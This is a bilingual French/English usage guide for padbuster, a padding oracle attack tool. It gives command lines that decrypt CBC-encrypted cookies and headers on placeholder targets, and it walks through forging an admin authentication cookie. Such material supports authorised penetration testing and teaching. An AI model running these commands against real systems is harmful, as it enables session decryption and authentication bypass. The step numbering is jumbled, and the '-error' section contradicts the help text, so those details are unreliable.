padbuster

Outil d'attaque par oracle de padding. Exploite les vulnérabilités d'oracle de padding en mode CBC pour déchiffrer du ciphertext et forger du plaintext arbitraire sans connaître la clé de chiffrement. Padding oracle attack tool. Exploits CBC mode padding oracle vulnerabilities to decrypt ciphertext and forge arbitrary plaintext without knowing the encryption key.

↗ https://github.com/AonCyberLabs/PadBuster

Overview

padbuster automates padding oracle attacks against CBC mode encryption. A padding oracle vulnerability occurs when an application reveals whether decryption padding is valid — an attacker can exploit this oracle to decrypt arbitrary ciphertext or encrypt arbitrary plaintext without knowing the key. Classic in cookie-based auth systems.

Basic Usage

Basic padding oracle attack (decrypt a ciphertext)

padBuster.pl http://target.com/index.php?hash=CIPHERTEXT CIPHERTEXT 8
# Arguments:
# URL          — target URL with ciphertext parameter
# CIPHERTEXT   — the encrypted value to attack
# 8            — block size (8 for DES/3DES, 16 for AES)

Specify encoding

padBuster.pl http://target.com/page?val=CIPHER CIPHER 8 -encoding 0
# Encoding options:
# 0 = Base64 (default)
# 1 = lowercase HEX
# 2 = uppercase HEX
# 3 = .NET UrlToken
# 4 = WebSafe Base64

Decryption Attack

Decrypt a Base64-encoded cookie value

padBuster.pl \
  "http://target.com/admin" \
  "AUTH_COOKIE_VALUE" \
  16 \
  -cookies "auth=AUTH_COOKIE_VALUE" \
  -encoding 0

With custom header

padBuster.pl \
  "http://target.com/" \
  "CIPHER" \
  8 \
  -header "X-Auth-Token: CIPHER"

Encryption Attack (Forge Plaintext)

Encrypt arbitrary plaintext using the oracle

padBuster.pl \
  "http://target.com/" \
  "ORIGINAL_CIPHER" \
  16 \
  -plaintext "admin=1;role=admin"
# This produces a ciphertext that decrypts to your chosen plaintext
# Replace the original cookie with the forged one
# 1. Identify the encrypted cookie
# Example: auth=MTIzNDU2Nzg5MDEyMzQ1Ng==

# 2. Determine block size (try 8 for 3DES, 16 for AES)
# padbuster will test both
  1. Decrypt to understand the structure
padBuster.pl "http://target.com/" "MTIzNDU2Nzg5MDEyMzQ1Ng==" 16 \
  -cookies "auth=MTIzNDU2Nzg5MDEyMzQ1Ng=="
# Output might be: user=guest;expires=2024-01-01
  1. Forge admin cookie
padBuster.pl "http://target.com/" "MTIzNDU2Nzg5MDEyMzQ1Ng==" 16 \
  -cookies "auth=MTIzNDU2Nzg5MDEyMzQ1Ng==" \
  -plaintext "user=admin;expires=2025-01-01"
# 5. Use the forged ciphertext as the auth cookie

Error Pattern Detection

padbuster needs to distinguish valid from invalid padding Specify what a VALID response looks like:

padBuster.pl "http://target.com/" "CIPHER" 16 \
  -error "Invalid padding"

Or specify what an INVALID response looks like:

padBuster.pl "http://target.com/" "CIPHER" 16 \
  -error "Padding error"

Sometimes differentiated by HTTP status code:

padBuster.pl "http://target.com/" "CIPHER" 16 \
  -error "500"
# Or response length:
# padbuster auto-detects if you run without -error first

Tips

  • The oracle is often a 500 error (invalid padding) vs 200 (valid padding)
  • Sometimes the oracle is timing-based (slow = valid)
  • ASP.NET ViewState was historically vulnerable to this — and still often is
  • CVE-2010-3332 (.NET padding oracle) made this well-known — many web apps still vulnerable
  • Use Burp’s POODLE/padding oracle scanner to identify vulnerability before using padbuster
Help / Man page
padBuster.pl <URL> <EncryptedSample> <BlockSize> [Options]

URL             Target URL (use CIPHER as placeholder)
EncryptedSample The ciphertext to attack
BlockSize       Block size: 8 (DES/3DES) or 16 (AES)

Options:
  -auth USER:PASS    HTTP Basic Auth
  -cookies COOKIES   Cookies to include
  -encoding N        0=Base64, 1=LHex, 2=UHex, 3=.NET, 4=WSBase64
  -error STR         Error string indicating bad padding
  -header HEADER     Add HTTP header
  -method METHOD     HTTP method (default: GET)
  -noiv              No IV (first block is IV)
  -plaintext STR     Plaintext to encrypt (encryption attack)
  -post DATA         POST data
  -prefix STR        Prepend to ciphertext
  -proxy HOST:PORT   Proxy
  -verbose           Show intermediate steps

Vue d’ensemble

padbuster automatise les attaques par oracle de padding contre le chiffrement en mode CBC. Une vulnérabilité d’oracle de padding survient quand une application révèle si le padding du déchiffrement est valide : un attaquant peut exploiter cet oracle pour déchiffrer un ciphertext arbitraire ou chiffrer un plaintext arbitraire sans connaître la clé. Classique dans les systèmes d’authentification par cookie.

Utilisation de base

# Attaque basique par oracle de padding (déchiffrer un ciphertext)
padBuster.pl http://target.com/index.php?hash=CIPHERTEXT CIPHERTEXT 8
# Arguments :
# URL          : URL cible avec le paramètre ciphertext
# CIPHERTEXT   : la valeur chiffrée à attaquer
# 8            : taille de bloc (8 pour DES/3DES, 16 pour AES)

Spécifier l’encodage

padBuster.pl http://target.com/page?val=CIPHER CIPHER 8 -encoding 0
# Options d'encodage :
# 0 = Base64 (par défaut)
# 1 = HEX minuscule
# 2 = HEX majuscule
# 3 = .NET UrlToken
# 4 = WebSafe Base64

Attaque de déchiffrement

# Déchiffrer une valeur de cookie encodée en Base64
padBuster.pl \
  "http://target.com/admin" \
  "AUTH_COOKIE_VALUE" \
  16 \
  -cookies "auth=AUTH_COOKIE_VALUE" \
  -encoding 0

# Avec un en-tête personnalisé
padBuster.pl \
  "http://target.com/" \
  "CIPHER" \
  8 \
  -header "X-Auth-Token: CIPHER"

Attaque de chiffrement (forger du plaintext)

# Chiffrer un plaintext arbitraire en utilisant l'oracle
padBuster.pl \
  "http://target.com/" \
  "ORIGINAL_CIPHER" \
  16 \
  -plaintext "admin=1;role=admin"
# Ceci produit un ciphertext qui se déchiffre vers le plaintext choisi
# Remplacer le cookie original par celui forgé
# 1. Identifier le cookie chiffré
# Exemple : auth=MTIzNDU2Nzg5MDEyMzQ1Ng==

# 2. Déterminer la taille de bloc (essayer 8 pour 3DES, 16 pour AES)
# padbuster testera les deux
  1. Déchiffrer pour comprendre la structure
padBuster.pl "http://target.com/" "MTIzNDU2Nzg5MDEyMzQ1Ng==" 16 \
  -cookies "auth=MTIzNDU2Nzg5MDEyMzQ1Ng=="
# Sortie possible : user=guest;expires=2024-01-01
  1. Forger un cookie admin
padBuster.pl "http://target.com/" "MTIzNDU2Nzg5MDEyMzQ1Ng==" 16 \
  -cookies "auth=MTIzNDU2Nzg5MDEyMzQ1Ng==" \
  -plaintext "user=admin;expires=2025-01-01"
# 5. Utiliser le ciphertext forgé comme cookie d'authentification

Détection du motif d’erreur

padbuster doit distinguer un padding valide d’un padding invalide. Spécifier à quoi ressemble une réponse VALIDE :

padBuster.pl "http://target.com/" "CIPHER" 16 \
  -error "Invalid padding"

Ou spécifier à quoi ressemble une réponse INVALIDE :

padBuster.pl "http://target.com/" "CIPHER" 16 \
  -error "Padding error"

Parfois différencié par le code de statut HTTP :

padBuster.pl "http://target.com/" "CIPHER" 16 \
  -error "500"
# Ou par la longueur de la réponse :
# padbuster détecte automatiquement si vous lancez sans -error d'abord

Conseils

  • L’oracle est souvent une erreur 500 (padding invalide) vs 200 (padding valide)
  • Parfois l’oracle est basé sur le timing (lent = valide)
  • Le ViewState ASP.NET était historiquement vulnérable à ceci : et l’est souvent encore
  • CVE-2010-3332 (oracle de padding .NET) a rendu ceci bien connu : de nombreuses applications web restent vulnérables
  • Utiliser le scanner POODLE/oracle de padding de Burp pour identifier la vulnérabilité avant d’utiliser padbuster
Aide / Page de manuel
padBuster.pl <URL> <EncryptedSample> <BlockSize> [Options]

URL             Target URL (use CIPHER as placeholder)
EncryptedSample The ciphertext to attack
BlockSize       Block size: 8 (DES/3DES) or 16 (AES)

Options:
  -auth USER:PASS    HTTP Basic Auth
  -cookies COOKIES   Cookies to include
  -encoding N        0=Base64, 1=LHex, 2=UHex, 3=.NET, 4=WSBase64
  -error STR         Error string indicating bad padding
  -header HEADER     Add HTTP header
  -method METHOD     HTTP method (default: GET)
  -noiv              No IV (first block is IV)
  -plaintext STR     Plaintext to encrypt (encryption attack)
  -post DATA         POST data
  -prefix STR        Prepend to ciphertext
  -proxy HOST:PORT   Proxy
  -verbose           Show intermediate steps